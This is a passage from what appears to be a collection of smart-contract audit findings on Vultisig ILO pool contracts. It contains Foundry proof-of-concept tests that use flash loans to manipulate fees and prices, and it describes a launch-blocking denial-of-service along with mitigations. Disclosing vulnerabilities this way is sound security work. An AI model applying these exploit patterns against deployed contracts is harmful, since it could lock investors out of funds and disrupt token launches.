    // INVESTOR and INVESTOR_2 burn their liquidity and obtain their tokens
    vm.prank(INVESTOR);
    IILOPool(iloPool).claim(tokenId);
    vm.prank(INVESTOR_2);
    IILOPool(iloPool).claim(tokenId2);
    // Generate some fees via a flash loan
    uniV3Pool.flash(address(this), 1e8, 1e8, "");
    // INVESTOR claims their corresponding part of the fees
    // Only the first one to claim has better odds of claiming successfully
    vm.prank(INVESTOR);
    IILOPool(iloPool).claim(tokenId);
    // INVESTOR_2 can't claim their part of the fees as the transaction will revert
    // It reverts with ST (SafeTransfer) as it is trying to transfer tokens the contract doesn't have
    // The fees for INVESTOR_2 were already taken
    vm.prank(INVESTOR_2);
    vm.expectRevert(bytes("ST"));
    IILOPool(iloPool).claim(tokenId2);
    // Generate more fees
    uniV3Pool.flash(address(this), 1e6, 1e6, "");
    // Even if some new fees are available, they might not be enough to pay back the owed ones to INVESTOR_2
    vm.prank(INVESTOR_2);
    vm.expectRevert(bytes("ST"));
    IILOPool(iloPool).claim(tokenId2);
}
function uniswapV3FlashCallback(uint256, uint256, bytes memory) external {
    deal(USDC, address(this), IERC20(USDC).balanceOf(address(this)) * 2);
    deal(SALE_TOKEN, address(this), IERC20(SALE_TOKEN).balanceOf(address(this)) * 2);
    IERC20(USDC).transfer(projectId, IERC20(USDC).balanceOf(address(this)));
    IERC20(SALE_TOKEN).transfer(projectId, IERC20(SALE_TOKEN).balanceOf(address(this)));
}

```

</details>

## 14.[High] Adversary can prevent the launch of any ILO pool with enough raised capital at any moment by providing single-sided liquidity

### Price manipulation

- Summary: An attacker can prevent the launch of an ILO pool, even if it has met its fundraising goal, by manipulating the price of the associated Uniswap v3 pool. This can be done cheaply by adding single-sided liquidity in a way that disrupts the price check in the launch() function of the ILOManager contract. The price discrepancy caused by this manipulation can cause the token launch to fail, leading to a denial-of-service attack.

- Impact & Recommendation: This issue not only disrupts the token launch but also results in wasted gas fees for users and damages the project's reputation. To mitigate this, it is suggested to reserve a buffer amount of tokens in the ILO pool to handle price manipulation or use a wrapper token to maintain price stability.
  <br> 🐬: [Source](https://code4rena.com/reports/2024-06-vultisig#h-03-Adversary-can-prevent-the-launch-of-any-ILO-pool-with-enough-raised-capital-at-any-moment-by-providing-single-sided-liquidity) & [Report](https://code4rena.com/reports/2024-06-vultisig)

<details><summary>POC</summary>

```solidity

function testManipulatePriceForLaunch() external {
    IILOManager.InitPoolParams memory params = _getInitPoolParams();
    _initPool(PROJECT_OWNER, params);
    assertEq(IUniswapV3Pool(projectId).token0(), USDC);
    assertEq(IUniswapV3Pool(projectId).token1(), SALE_TOKEN);
    vm.label(USDC, "USDC");
    vm.label(SALE_